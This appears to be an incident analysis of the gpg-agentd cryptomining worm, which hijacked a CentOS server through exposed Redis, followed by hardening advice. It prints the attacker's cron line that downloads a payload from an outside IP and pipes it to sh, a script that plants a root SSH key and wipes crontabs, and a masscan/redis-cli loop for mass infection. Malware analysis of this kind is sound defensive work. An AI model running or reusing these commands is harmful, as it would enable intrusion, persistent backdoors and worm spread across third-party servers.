Inside the GPG‑Agentd Malware: How a CentOS Server Was Hijacked and Spread via Redis

Finding Clues

The incident started on a Monday morning when a colleague reported that a server could not be logged into. Alibaba Cloud had frozen the instance for "malicious outbound traffic". SSH on port 22 was blocked and the root account used a weak password.

Investigation revealed two 99% CPU processes named gpg-agentd . The server ran CentOS 6.x with Nginx, Tomcat and Redis. A full database backup was taken before further analysis.

Google shows that gpg-agent provides SSH support, but the trailing "d" suggested a disguised malicious binary.

ps eho command -p 23374
netstat -pan | grep 23374

The binary path pointed to the malicious file.

Malicious Cron Jobs

Running crontab -e revealed entries that download and execute ash.php every 15 minutes.

*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh

The ash.php script contains:

uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keys
*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh

The script disables SELinux, raises file descriptor limits, creates an SSH public key in /root/.ssh/authorized_keys, and ensures the malicious payload runs periodically.

Second Stage Script (bsh.php)

Downloading bsh.php yields a longer script that:

Installs required packages (bash, masscan, redis, iptables, etc.).

Modifies /etc/rc.local to persist execution.

Uses masscan to scan the Internet for open Redis ports (6379/6380) at up to 10 000 packets/sec.

Writes Redis configuration commands to a temporary file and pushes them to discovered Redis instances, inserting a malicious config set dir and config set dbfilename that writes a cron file, granting the attacker password‑less root SSH access.

masscan --max-rate 10000 -p6379,6380 --shard $(seq 1 22000 | sort -R | head -n1)/22000 0.0.0.0/0 | awk '{print $6, substr($4,1,length($4)-4)}' > .shard
while read -r h p; do
  cat .dat | redis-cli -h $h -p $p --raw &>/dev/null &
done < .shard

The script also creates additional cron entries that repeatedly download the payload, ensuring persistence.

Impact and Motivation

The combined effect is a fast‑spreading worm that gains root SSH access via the Redis write‑file vulnerability, then uses masscan to locate more vulnerable Redis servers, propagating exponentially. The presence of Bitcoin‑related strings in the binary suggests it is used for cryptocurrency mining.

Summary

By analyzing the three scripts we see the attack chain: (1) brute‑force the root password, (2) inject an SSH public key via Redis, (3) schedule recurring downloads of malicious binaries, and (4) mass‑scan the Internet for more Redis instances to compromise.

Security Recommendations

Server

Disable direct root login.

Use strong, complex passwords.

Change the default SSH port (22).

Install brute‑force protection such as DenyHosts.

Disable password authentication; use RSA key authentication only.

Redis

Bind only to localhost; do not expose Redis to the public network.

Require a password for access.

Run Redis under a low‑privilege account.